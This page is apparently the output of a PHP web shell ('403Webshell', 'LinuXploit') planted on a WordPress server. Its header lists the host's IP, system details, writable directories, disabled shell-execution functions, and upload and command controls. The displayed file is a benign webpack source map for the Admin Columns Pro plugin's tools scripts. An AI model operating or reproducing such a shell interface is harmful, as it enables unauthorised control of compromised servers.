403Webshell
Server IP : 43.130.17.34  /  Your IP : 216.73.217.6
Web Server : nginx/1.28.0
System : Linux VM-4-12-opencloudos 6.6.92-34.1.oc9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 25 21:32:13 CST 2025 x86_64
User : www ( 1000)
PHP Version : 8.0.26
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/yespkg.com/wp-content/plugins/admin-columns-pro.5.1.3/assets/core/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/yespkg.com/wp-content/plugins/admin-columns-pro.5.1.3/assets/core/js/tools.js.map
{"version":3,"sources":["webpack:///webpack/bootstrap","webpack:///./core/js/tools.js","webpack:///./core/js/tools/export.js","webpack:///./core/js/tools/import.js","webpack:///./core/js/tools/synchronisation.js"],"names":["document","addEventListener","AdminColumns","Tools","SyncSection","querySelector","Synchronisation","ExportSection","Export","ImportSection","Import","element","Table","getExportJsonButton","setAttribute","initEvents","jQuery","ajax","url","ajaxurl","method","data","action","encoder","list_screen_id","getSelectedListScreens","response_type","_ajax_nonce","value","querySelectorAll","forEach","el","length","removeAttribute","ids","push","disable","fileInput","enable","button","table","filter","Filter","init","Button","getSyncButton","getSelectedSyncableItems","checkButtonState","input","className","row","style","display","hasItemsForFilter","selector","checked","checkNoResults","refresh","current","setFilter","link","classList","remove","add","filterClass","dataset","filterRows","e","preventDefault","firstItem","contains"],"mappings":"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","file":"tools.js","sourcesContent":[" \t// The module cache\n \tvar installedModules = {};\n\n \t// The require function\n \tfunction __webpack_require__(moduleId) {\n\n \t\t// Check if module is in cache\n \t\tif(installedModules[moduleId]) {\n \t\t\treturn installedModules[moduleId].exports;\n \t\t}\n \t\t// Create a new module (and put it into the cache)\n \t\tvar module = installedModules[moduleId] = {\n \t\t\ti: moduleId,\n \t\t\tl: false,\n \t\t\texports: {}\n \t\t};\n\n \t\t// Execute the module function\n \t\tmodules[moduleId].call(module.exports, module, module.exports, __webpack_require__);\n\n \t\t// Flag the module as loaded\n \t\tmodule.l = true;\n\n \t\t// Return the exports of the module\n \t\treturn module.exports;\n \t}\n\n\n \t// expose the modules object (__webpack_modules__)\n \t__webpack_require__.m = modules;\n\n \t// expose the module cache\n \t__webpack_require__.c = installedModules;\n\n \t// define getter function for harmony exports\n \t__webpack_require__.d = function(exports, name, getter) {\n \t\tif(!__webpack_require__.o(exports, name)) {\n \t\t\tObject.defineProperty(exports, name, { enumerable: true, get: getter });\n \t\t}\n \t};\n\n \t// define __esModule on exports\n \t__webpack_require__.r = function(exports) {\n \t\tif(typeof Symbol !== 'undefined' && Symbol.toStringTag) {\n \t\t\tObject.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });\n \t\t}\n \t\tObject.defineProperty(exports, '__esModule', { value: true });\n \t};\n\n \t// create a fake namespace object\n \t// mode & 1: value is a module id, require it\n \t// mode & 2: merge all properties of value into the ns\n \t// mode & 4: return value when already ns object\n \t// mode & 8|1: behave like require\n \t__webpack_require__.t = function(value, mode) {\n \t\tif(mode & 1) value = __webpack_require__(value);\n \t\tif(mode & 8) return value;\n \t\tif((mode & 4) && typeof value === 'object' && value && value.__esModule) return value;\n \t\tvar ns = Object.create(null);\n \t\t__webpack_require__.r(ns);\n \t\tObject.defineProperty(ns, 'default', { enumerable: true, value: value });\n \t\tif(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key));\n \t\treturn ns;\n \t};\n\n \t// getDefaultExport function for compatibility with non-harmony modules\n \t__webpack_require__.n = function(module) {\n \t\tvar getter = module && module.__esModule ?\n \t\t\tfunction getDefault() { return module['default']; } :\n \t\t\tfunction getModuleExports() { return module; };\n \t\t__webpack_require__.d(getter, 'a', getter);\n \t\treturn getter;\n \t};\n\n \t// Object.prototype.hasOwnProperty.call\n \t__webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };\n\n \t// __webpack_public_path__\n \t__webpack_require__.p = \"\";\n\n\n \t// Load entry module and return exports\n \treturn __webpack_require__(__webpack_require__.s = \"./core/js/tools.js\");\n","import Synchronisation from \"./tools/synchronisation\";\nimport Export from \"./tools/export\";\nimport Import from \"./tools/import\";\n\ndocument.addEventListener( \"DOMContentLoaded\", function() {\n\tAdminColumns.Tools = {};\n\n\tlet SyncSection = document.querySelector( '.ac-section.-syncronisation' );\n\tif ( SyncSection ) {\n\t\tAdminColumns.Tools.Synchronisation = new Synchronisation( SyncSection );\n\t}\n\n\tlet ExportSection = document.querySelector( '.ac-section.-export' );\n\tif ( ExportSection ) {\n\t\tAdminColumns.Tools.Export = new Export( ExportSection );\n\t}\n\n\tlet ImportSection = document.querySelector( '.ac-section.-import' );\n\tif ( ImportSection ) {\n\t\tAdminColumns.Tools.Import = new Import( ImportSection );\n\t}\n\n} );","export default class Export {\n\n\tconstructor( element ) {\n\t\tthis.element = element;\n\t\tthis.Table = new Table( element.querySelector( '.ac-table' ) );\n\n\t\tthis.getExportJsonButton().setAttribute( 'disabled', true );\n\t\tthis.initEvents();\n\t}\n\n\tdoAjaxExportCall() {\n\t\treturn jQuery.ajax( {\n\t\t\turl : ajaxurl,\n\t\t\tmethod : 'get',\n\t\t\tdata : {\n\t\t\t\taction : 'acp-export-php',\n\t\t\t\tencoder : 'php-export',\n\t\t\t\tlist_screen_id : this.Table.getSelectedListScreens(),\n\t\t\t\tresponse_type : 'string',\n\t\t\t\t_ajax_nonce : this.element.querySelector( '[name=\"_ajax_nonce\"]' ).value\n\t\t\t}\n\t\t} );\n\t}\n\n\tgetExportJsonButton() {\n\t\treturn this.element.querySelector( '[data-export=\"json\"]' );\n\t}\n\n\tinitEvents() {\n\t\tthis.Table.element.querySelectorAll( 'input' ).forEach( el => {\n\t\t\tel.addEventListener( 'change', () => {\n\t\t\t\tthis.getExportJsonButton().setAttribute( 'disabled', true );\n\n\t\t\t\tif ( this.Table.getSelectedListScreens().length > 0 ) {\n\t\t\t\t\tthis.getExportJsonButton().removeAttribute( 'disabled' );\n\t\t\t\t}\n\t\t\t} );\n\t\t} );\n\t}\n\n}\n\nclass Table {\n\tconstructor( element ) {\n\t\tthis.element = element;\n\t}\n\n\tgetSelectedListScreens() {\n\t\tlet ids = [];\n\t\tthis.element.querySelectorAll( '[name=\"list_screen_ids[]\"]:checked' ).forEach( el => {\n\t\t\tids.push( el.value );\n\t\t} );\n\n\t\treturn ids;\n\t}\n\n}","export default class Import {\n\n\tconstructor( element ) {\n\t\tthis.element = element;\n\t\tthis.disable();\n\t\tthis.initEvents();\n\t}\n\n\tinitEvents() {\n\t\tlet fileInput = this.element.querySelector( 'input[type=file]' );\n\t\tif ( fileInput ) {\n\t\t\tfileInput.addEventListener( 'change', () => {\n\t\t\t\tfileInput.value ? this.enable() : this.disable();\n\t\t\t} );\n\t\t}\n\t}\n\n\tdisable() {\n\t\tthis.element.querySelectorAll( 'input[type=\"submit\"]' ).forEach( button => button.setAttribute( 'disabled', true ) );\n\t}\n\n\tenable() {\n\t\tthis.element.querySelectorAll( 'input[type=\"submit\"]' ).forEach( button => button.removeAttribute( 'disabled' ) );\n\t}\n\n}","export default class Synchronisation {\n\tconstructor( element ) {\n\t\tthis.element = element;\n\t\tlet table = element.querySelector( '.ac-table' );\n\t\tlet filter = element.querySelector( '.ac-sync-filter' );\n\n\t\tif ( table ) {\n\t\t\tthis.Table = new Table( table );\n\t\t}\n\n\t\tif ( table && this.Table ) {\n\t\t\tthis.Filter = new Filter( filter, this.Table );\n\t\t}\n\n\t\tthis.init();\n\t}\n\n\tgetSyncButton() {\n\t\treturn this.element.querySelector( '.button-primary' );\n\t}\n\n\tcheckButtonState() {\n\t\tconst Button = this.getSyncButton();\n\t\tif ( !Button || !this.Table ) {\n\t\t\treturn;\n\t\t}\n\n\t\tButton.setAttribute( 'disabled', true );\n\n\t\tif ( this.Table.getSelectedSyncableItems().length > 0 ) {\n\t\t\tButton.removeAttribute( 'disabled' );\n\t\t}\n\t}\n\n\tinit() {\n\t\tconst Button = this.getSyncButton();\n\n\t\tif ( Button ) {\n\t\t\tButton.setAttribute( 'disabled', true );\n\t\t\tthis.checkButtonState();\n\t\t\tthis.Table.table.querySelectorAll( 'input[type=checkbox]' ).forEach( input => {\n\t\t\t\tinput.addEventListener( 'change', () => this.checkButtonState() );\n\t\t\t} );\n\t\t}\n\n\t}\n\n}\n\nclass Table {\n\n\tconstructor( el ) {\n\t\tthis.table = el;\n\t}\n\n\tcheckNoResults( className ) {\n\t\tlet row = this.table.querySelector( 'tfoot' );\n\n\t\trow.style.display = 'none';\n\t\tif ( !this.hasItemsForFilter( className ) ) {\n\t\t\trow.style.display = 'table-footer-group';\n\t\t}\n\t}\n\n\thasItemsForFilter( className ) {\n\t\tlet selector = className ? `tbody tr.${className}` : `tbody tr`;\n\t\treturn this.table.querySelectorAll( selector ).length > 0;\n\t}\n\n\tgetSelectedSyncableItems() {\n\t\treturn this.table.querySelectorAll( 'input[type=checkbox]:checked' );\n\t}\n\n\tresetSelection() {\n\t\tthis.table.querySelectorAll( 'input[checkbox]' ).forEach( input => input.checked = false );\n\t}\n\n\tfilterRows( className ) {\n\t\tif ( !className ) {\n\t\t\tthis.table.querySelectorAll( 'tbody tr' ).forEach( el => el.style.display = 'table-row' );\n\t\t\tthis.checkNoResults( className );\n\t\t\treturn;\n\t\t}\n\n\t\tthis.table.querySelectorAll( 'tbody tr' ).forEach( el => el.style.display = 'none' );\n\t\tthis.table.querySelectorAll( `tbody tr.${className}` ).forEach( el => el.style.display = 'table-row' );\n\t\tthis.checkNoResults( className );\n\t}\n\n}\n\nclass Filter {\n\n\tconstructor( filter, table ) {\n\t\tthis.filter = filter;\n\t\tthis.table = table;\n\t\tthis.init();\n\t\tthis.refresh();\n\t}\n\n\trefresh() {\n\t\tlet current = this.filter.querySelector( 'a.current' );\n\t\tif ( current ) {\n\t\t\tthis.setFilter( current );\n\t\t}\n\t}\n\n\tsetFilter( link ) {\n\t\tthis.filter.querySelectorAll( 'a' ).forEach( el => el.classList.remove( 'current' ) );\n\t\tlink.classList.add( 'current' );\n\n\t\tlet filterClass = link.dataset.filter ? link.dataset.filter : '';\n\t\tthis.table.filterRows( filterClass );\n\t}\n\n\tinit() {\n\t\tthis.filter.querySelectorAll( 'a' ).forEach( link => {\n\t\t\tlink.addEventListener( 'click', e => {\n\t\t\t\te.preventDefault();\n\t\t\t\tthis.setFilter( link );\n\t\t\t} );\n\t\t} );\n\n\t\tlet firstItem = this.filter.querySelector( 'li:first-child a' );\n\t\tif ( firstItem && !firstItem.classList.contains( 'current' ) ) {\n\t\t\tlet filter = firstItem.dataset.filter;\n\t\t\tif ( this.table.hasItemsForFilter( filter ) ) {\n\t\t\t\tthis.setFilter( firstItem );\n\t\t\t}\n\t\t}\n\n\t}\n\n}"],"sourceRoot":""}

Youez - 2016 - github.com/yon3zu
LinuXploit